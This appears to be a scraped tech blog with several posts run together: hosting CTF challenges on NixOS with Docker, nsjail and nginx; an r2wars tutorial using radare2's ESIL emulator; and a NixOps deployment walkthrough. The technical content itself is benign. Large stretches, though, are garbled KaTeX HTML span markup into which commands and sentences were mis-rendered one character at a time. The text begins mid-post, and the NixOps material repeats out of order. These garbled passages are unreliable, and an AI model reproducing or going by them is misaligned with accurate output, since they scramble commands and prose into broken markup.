class="mord">3</span><span class="mord mathnormal">a</span><span class="mord">0</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">4</span><span class="mord">.</span><span class="mord mathnormal">L</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">o</span><span class="mord mathnormal">u</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal">b</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span></span></span></span> nixops list
+--------------------------------------+--------+------------------------+------------+------+
| UUID                                 | Name   | Description            | # Machines | Type |
+--------------------------------------+--------+------------------------+------------+------+
| 6883071e-df3c-11ea-bd95-0242dcf913a0 | target | Unnamed NixOps network |          0 |      |
+--------------------------------------+--------+------------------------+------------+------+
  1. Deploy!
 nixops deploy -d target
...
target> deployment finished successfully

Challenge definitions

In order to host our challenges, we need to somehow instruct nixos to fetch the docker images containing the individual challenges from somewhere and run them. For doing this, I setup a small directory structure in order to split up the config a bit:

.
├── config.nix
├── target.nix
└── modules
   ├── boot.nix
   ├── ctf
   │  ├── chall
   │  │  ├── hashy.nix
   │  │  ├── ...
   │  │  └── visible.nix
   │  └── scoreboard
   │     ├── postgres.nix
   │     └── scoreboard.nix
   ├── ctf.nix
   ├── hardware-configuration.nix
   ├── ...
   ├── services
   │  ├── ...
   │  ├── nginx
   │  │  ├── ctf.emile.space.nix
   │  │  ├── ...                   
   │  │  └── static.emile.space.nix
   │  ├── ...                      
   │  └── nginx.nix
   ├── services.nix
   ├── timezone.nix
   ├── users.nix
   └── virtualisation.nix

First of all, let's look into config.nix:

{
  network.description = "nixops example";
  
  target = {config, lib, pkgs, ...}: {
  
  imports = [
    ./modules/boot.nix
    
    ...
    
    ./modules/ctf.nix
    ./modules/services.nix
  ];
  
  system.stateVersion = "20.03"; 
  
  };
};

So we import ctf.nix, let's look into there:

{
  imports = [
    ./ctf/chall/visible.nix
    ...
    ./ctf/chall/hashy.nix

    ./ctf/scoreboard/postgres.nix
    ./ctf/scoreboard/scoreboard.nix
  ];
}

This imports all the container definitions, let's look into a single challenge container, as this is the part that get's interesting:

{
    virtualisation.oci-containers = {
        backend = "docker";
        containers = {
            "abcd" = {
                image = "abcd";
                extraOptions = [
                    "--privileged"
                ];
                ports = [
                    "9990:9999"
                ];
                cmd = [
                    "-Ml"
                    "--hostname" "host"
                    "-T" "/dev"
                    "-R" "/dev/urandom"
                    "-R" "/dev/pts"
                    "--port" "9999"
                    "--user" "1337"
                    "--group" "1337"
                    "--chroot" "/"
                    "--cwd" "/home/user"
                    "--stderr_to_null"
                    "-E" "LANG=C.UTF-8"
                    "-E" "TERM=xterm"
                    "-E" "FLAG=flag{************************}"
                    "--"
                    "/usr/bin/python3" "/home/user/main.py"
                ];
            };
        };
    };
}

What we do here, is we instruct nixos to run a docker container using the image with the given name (honestly, it would be practical to just use a private registry here, but due to some time constraints and me not bothering with diving into that rabbit hole, I just build the images and moved them to the host...).

The container is run as privileged which would normally be a huge no-go, but we have to allow nsjail to do it's magic.

We expose port 9990 for the challenge to be accessed on (note: the port in the container is port 9999, as we defined it in the nsjail command).

All challenges, the scoreboard and the database are setup like this.

(Sidenote: There's a lessons learned at the bottom containing information on what could have been better)

nginx

In order for the scoreboard to be visible at ctf.emile.space, we need a bit of nginx and we can configure it using nixos. First of all, let's looked how it get's imported into the config.nix (I'll keep this a bit shorter):

  • config.nix imports services.nix
  • services.nix imports all the services in the modules/services/ folder, including nginx.nix
  • nginx.nix imports all the virtualhosts defined in modules/services/nginx/ folder, including ctf.emile.space.nix

Ok, so ctf.emile.space.nix contains the definition for an nginx virtualhost:

{
    services.nginx.virtualHosts = {
        "ctf.emile.space" = {
            enableACME = true;
            forceSSL = true;

            locations = {
                "/" = {
                    proxyPass = "http://127.0.0.1:8000";
                };
            };
        };
    };
}

All we do here is to proxy ctf.emile.space to the internal service exposing the scoreboard allowing user to access it.

Overall, I find it quite amazing that nixos allows me to configure everything using this one config format. If you'd like to dive deeper into this and don't know it yet, search.nixos.org is a wonderful page allowing you to browser the packages and config options you can use.

Meta

When stuff goes wrong, it is normally nice to be in control. For example: when a challenge is broken. The firsy thing should be to remove the challenge from the plage where new players access the challenge, so no new people access it. Another thing might be do disable flag submission for that particular challenge.

For doing all of this, an admin web-interface or so might be really practical, but as minimal as the scoreboard is, as minimal is the solution: a config file that is being watched by viper (config management in go) with sort of hooks that execute given functions upon change. This allows a function to read the config after it has been changed and sync the state of that config to the database.

Using this, we can adjust the active state of a single challenge just by changing it's value in the config. Another thing that might be practical is updating the flag hash.

Lessons learnt

As promised, a small lessons leart: Overall, things went really well, but here some stuff that was missing:

Updating challenges was kind of weird: due to me having to update the docker images on the host manually, it didn't really work by simply editing the challenge locally, pushing the result to a repo that might use drone as we did last year to build the docker image and push it to a private registry that is then accessd by nixos.

Building the docker images using ordinary Dockerfiles is boring! NixOS offers building declarative docker images that are optimized for caching and stuff like that. I build a minimal image, but didn't get to build the challenges using that technology altough it would have been another step in the pipeline what could have been solved using existing nix-ology :D, I'll try it in the next CTF.

r2wars

Over the last few days, I’ve played around with r2wars, a competion typically between two programs that try to survive as much time as possible in a shared memory space. A python implementation of r2wars can be found on github as well as a C# Implementation.

What is radare2?

So let's start at the beginning with a question that might help some unfamiliar people understand all of this: what radare2 actually is. According to Wikipedia,

"Radare2 is a complete framework for reverse-engineering and analyzing binaries; composed of a set of small utilities that can be used together or independently from the command line. — Wikipedia - Radare2

So we can use radare to take apart binaries, but using all the tools included, we can do much more as you'll see next.

radare2 commands tend to be not so descriptive. If you don't know what a command does, you can append a question mark to the command to get some help. If you know what you want to do, but don't know the command that might be able to do what you want to do, you can use this alias to search through all radare commands interactively:

"alias r2help="r2 -qq -c '?*~...' --"

What is r2wars?

Over the last few days, I’ve played around with r2wars, a competion typically between two programs that try to survive as much time as possible in a shared memory space. A python implementation of r2wars can be found on github as well as a C# imple-mentation2.

There exist similar forms of games such as Core Wars, but what makes r2wars different is that the bots can be built in any architecture supported by ESIL (Evaluable Strings Intermediate Language), more than 2 programs can run at the same time and cyclic execution cost matters for the turns.

r2wars in detail

So here we go, some more in detail information on how stuff works:

Bots

The "players" are bots. A bot is a piece of assembly, written in either x86, arm or mips using either 8, 16, 32, or 64 bit registers. A super simple bot doing nothing but locating itself in memory might look like this: (x86, 32 bits)

call me
me:
    pop eax

Assembling such a bot can be done using rasm2, the radare2 assembler and disassembler tool, as displayed in the listing below.

<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">m</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mord">8</span><span class="mord">6</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">b</span><span class="mord">3</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">b</span><span class="mord mathnormal">o</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord">8</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">0</span><span class="mord">5</span><span class="mord">8</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord mathnormal">o</span><span class="mord mathnormal">t</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">b</span><span class="mord mathnormal">e</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">p</span><span class="mord mathnormal">e</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">d</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">i</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">a</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">u</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">m</span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">e</span><span class="mord mathnormal">b</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">.</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord">‘</span><span class="mord mathnormal">b</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span></span></span></span> rasm2 -D e80000000058
0x00000000   5      e800000000  call 5
0x00000005   1              58  pop eax

The Arena

So now that you know how to assemble a bot, let's define the "arena" or the shared memory space in which the bots will battle.

Allocating memory for the Arena

First of all, some memory should be allocated, for two bots, 1024 bytes should be enough. Memory can be allocated by radare as displayed below:

 r2 malloc://1024
 -- How about Global Thermonuclear War?
[0x00000000]>

By doing this, we allocated 1024 bytes of memory. This is the shared space in which the bots will battle each other.

[0x00000000]> o
 3 * rwx 0x00000400 malloc://1024

As you can see, the memory allocated is mapped rwx and consists of 1024 (0x400) bytes.

Setting up the arena and ESIL

The next step to building the arena is to define the architecture and the size of the registers that should be used:

[0x00000000]> e asm.arch = x86
[0x00000000]> e asm.bits = 32

The next step is to initialize the ESIL VM state as well as the VM stack. All radare2 command for editing the ESIL VM are prefixed with ae.

[0x00000000]> aei 	# initialize ESIL VM state
[0x00000000]> aeim 	# initialize ESIL VM stack<

Generating initial positions for the bots

The arena is now set up, the next step is to insert the bots into the arena. Selecting where to insert the bots is kind of crucial, because the bots should not be inserted into each other and not to close to the end of the arena (0x400 in this case).

In order to generate a random offsets where the bots can be placed, multiple addresses should be generated in the following way:

genspace = [0x000, 0x3c0)
maxbotspace = [0x3c0, 0x400)
0x000                        0x340              0x400
+ -------------------------- + -----------------+
|          gen space         |  max bot space   |

The space in which the bots should be generated is defined as "gen space". This means we can generate a random address in the range [0, 0x340) in which we can (in theory) place the first bot.

After placing the first bot at, for example, 0x40, the address space in which the address for the second bot is chosen from is shrunk to [0x40 + maxbotsize, 0x340] as displayed below.

0x000      0x040             0x340              0x400
+ ---------+---------------- + -----------------+
| reserved |    gen space    |  max bot space   |

This might not work the first time, for example when using the default example of two bots in a memory space 1024 bytes big, each bot has (in theory) 512 bytes of memory to position itself in. Doing this for n bots in x bytes of memory results in n / x bytes per bot. This gets more problematic with a greater amount of bots in a limited memory space.

Inserting bots into the arena

Inserting the bot into the arena is as easy as writing it's assembled code into the shared memory space. The command below writes the assembled bot to the memory location 0x100.

[0x00000000]> wx e80000000058 @ 0x100

Rounds

r2wars is a round based game. This means that we need to store the state of each "player" (bot) each round, so that the others can execute their operation. When it's the players turn again, the state has to be restored, so that the player can continue execution as if nothing had happened. r2 can dump all ESIL registers using the aer command and can even print a command to set the registers, aerR.

0x00000000]> aerR
…
aer eax = 0x00000000
…
aer esp = 0x00000000
aer ebp = 0x00000000
aer eip = 0x00000000
…

By dumping these registers, we can easily restore the state of the bot, by replacing newline chars (\n) by semicolons (;) and executing the result with r2.

Executing an instruction

After having created an "arena" and inserted a bot into the arena, we can execute an instruction, but before doing so, we still need to set up the"Progam Counter" (PC) and the "Stack Pointer" (SP) for the bot. We can do this by using the aer command, that can be used to manipulate the ESIR registers:

[0x00000000]> aer PC = 0x100
[0x00000000]> aer SP = SP + 0x100

After having done this, the VM is setup and the instruction pointer (Program Counter in ESIL slang) is pointing to the first instruction of our bot. In order to step into, we can use the aes command:

[0x00000000]> aes

We haven't seen much of our bot yet, so let's look at what's happening. r2 can print the disassembly of the instructions at a specific offset using the pd command, so let's look at what is happening at the offset 0x100, that's where our bot is located.

[0x00000105]> pd 0x4 @ 0x100
0x00000100  e800000000  call 0x105
;-- eip:
0x00000105  58        pop eax
0x00000106  0000      add byte [eax], al
0x00000108  0000      add byte [eax], al

What we've done above is we've printed the 0x4 instructions at the offset 0x100. As you can see, the instruction at 0x100 contains a call to 0x105, the pop eax instruction. Radare also displays the current location of the Instruction Pointer (eip) that is currently pointing to 0x105.

Actually playing the "game"

Well, We're at the point at which you should have understood the basics, if not, DO NOT PANIC! You can read the "original" description here.

If you have the desire to play around with this, you can clone my implementation from here. It is ready to go with two example bots that you can adjust to your needs.

So from here on, you're on your own. Good luck.

NixOps

I had to read more than I'd expect from a project that fundamental, so here's a post describing the process.

Assumptions

  • You've got some server (called "Target" from here on) running NixOS with root-access.
  • You've got NixOps installed

Goal

So the goal we want to accieve is to deploy the config located on the target server from you machine. This means that on you're machine, you've got the config of the target machine (config.nix), as well as a config instructing NixOps where the machine is located (target.nix).

Let's start with the target.nix file, as it is fairly simple:

{
  target = { config, pkgs, ... }: {
    deployment.targetHost = "123.122.111.110";
  };
}

All you do here, is define the target nixos should deploy to.

The config.nix file contains the complete configuration (although a partial one should do) of the target system. A caveat here is that the configuration cannot be copied over, but has to be inserted into a predefined scheme:

{
  network.description = "nixops example";

  target = {config, lib, pkgs, ...}: {
  
  # insert complete config here
  
  };
};

Creating the deployment

The deployment can be created using the nixops create command:

<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mord mathnormal">o</span><span class="mord mathnormal">p</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord">.</span><span class="mord">/</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mord">.</span><span class="mord">/</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord">.</span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord">‘</span><span class="mord">6</span><span class="mord">8</span><span class="mord">8</span><span class="mord">3</span><span class="mord">0</span><span class="mord">7</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">3</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">d</span><span class="mord">9</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">0</span><span class="mord">2</span><span class="mord">4</span><span class="mord">2</span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">9</span><span class="mord">1</span><span class="mord">3</span><span class="mord mathnormal">a</span><span class="mord">0</span><span class="mord">’</span><span class="mord">6</span><span class="mord">8</span><span class="mord">8</span><span class="mord">3</span><span class="mord">0</span><span class="mord">7</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">3</span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">1</span><span class="mord">1</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.77777em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">d</span><span class="mord">9</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord">0</span><span class="mord">2</span><span class="mord">4</span><span class="mord">2</span><span class="mord mathnormal">d</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord">9</span><span class="mord">1</span><span class="mord">3</span><span class="mord mathnormal">a</span><span class="mord">0</span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">e</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord">‘</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mord">‘</span><span class="mord mathnormal">u</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">s</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">i</span><span class="mord mathnormal">b</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mord mathnormal">a</span><span class="mord mathnormal">b</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">e</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal">p</span><span class="mord mathnormal">u</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.13889em;">W</span><span class="mord mathnormal">e</span><span class="mord mathnormal">c</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">n</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">p</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mord mathnormal">m</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">t</span><span class="mord mathnormal">s</span><span class="mord mathnormal">u</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">t</span><span class="mord mathnormal">h</span><span class="mord mathnormal">e</span><span class="mord">‘</span><span class="mord mathnormal">n</span><span class="mord mathnormal">i</span><span class="mord mathnormal">x</span><span class="mord mathnormal">o</span><span class="mord mathnormal">p</span><span class="mord mathnormal">s</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">i</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord">‘</span><span class="mord mathnormal">c</span><span class="mord mathnormal">o</span><span class="mord mathnormal">m</span><span class="mord mathnormal">m</span><span class="mord mathnormal">a</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">:</span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace nobreak"> </span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal">a</span><span class="mord mathnormal">s</span><span class="mord mathnormal">h</span></span></span></span> nixops list
+--------------------------------------+--------+------------------------+------------+------+
| UUID                                 | Name   | Description            | # Machines | Type |
+--------------------------------------+--------+------------------------+------------+------+
| 6883071e-df3c-11ea-bd95-0242dcf913a0 | target | Unnamed NixOps network |          0 |      |
+--------------------------------------+--------+------------------------+------------+------+

As you can see, the deployment was created, but no machine is assigned. Let's deploy something...

Deploying

Deploying can be done using the nixops deploy command. This will build the machine configuration and copy the paths from the nix-store to the remote nix-store.

The output should look something like this:

 nixops deploy -d target
target> generating new SSH keypair... done
target> setting state version to 20.03
target> waiting for SSH...
building all machine configurations...
these derivations will be built:
  /nix/store/75kfw9jq8si7wxvb4g4zq8zxnbixnci9-etc-hosts.drv
  /nix/store/y6jy6fdxnazal0z7n9bz9rjcdzh0dpdz-unit-nscd.service.drv
  /nix/store/78vjar6qvvvkvvyk01xdri3ajiafaq37-system-units.drv
  /nix/store/ycmvrqi6bvdgs0kkckd4fnk4v65g31rw-root-authorized_keys.drv
  /nix/store/1hg189d7r2h0gfzqdsdjd1dc44y9yi8l-etc.drv
  /nix/store/hx5bmim1n8d0whl28dpqcwh12d5cw1vb-nixos-system-nixos-20.03.2260.7bb2e7e0f69.drv
  /nix/store/cilysf8jk7kjvasabml97l17nbic8i5s-nixops-machines.drv
building '/nix/store/75kfw9jq8si7wxvb4g4zq8zxnbixnci9-etc-hosts.drv'...
building '/nix/store/ycmvrqi6bvdgs0kkckd4fnk4v65g31rw-root-authorized_keys.drv'...
building '/nix/store/y6jy6fdxnazal0z7n9bz9rjcdzh0dpdz-unit-nscd.service.drv'...
building '/nix/store/78vjar6qvvvkvvyk01xdri3ajiafaq37-system-units.drv'...
building '/nix/store/1hg189d7r2h0gfzqdsdjd1dc44y9yi8l-etc.drv'...
building '/nix/store/hx5bmim1n8d0whl28dpqcwh12d5cw1vb-nixos-system-nixos-20.03.2260.7bb2e7e0f69.drv'...
building '/nix/store/cilysf8jk7kjvasabml97l17nbic8i5s-nixops-machines.drv'...
target> copying closure...
target> copying 6 paths...
target> copying path '/nix/store/9dyfcyl838rx0ih8k7a7rpiabwi8y0lk-root-authorized_keys' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/irqfi2l3431p8wa00arg0chdr20ysad6-etc-hosts' to 'ssh://root@138.201.190.65'...
target> copying path '/nix/store/7nbv0mw6jrrw68bn297kihwdmq0fn3y2-unit-nscd.service' to 'ssh://root@138.201.190.65'...
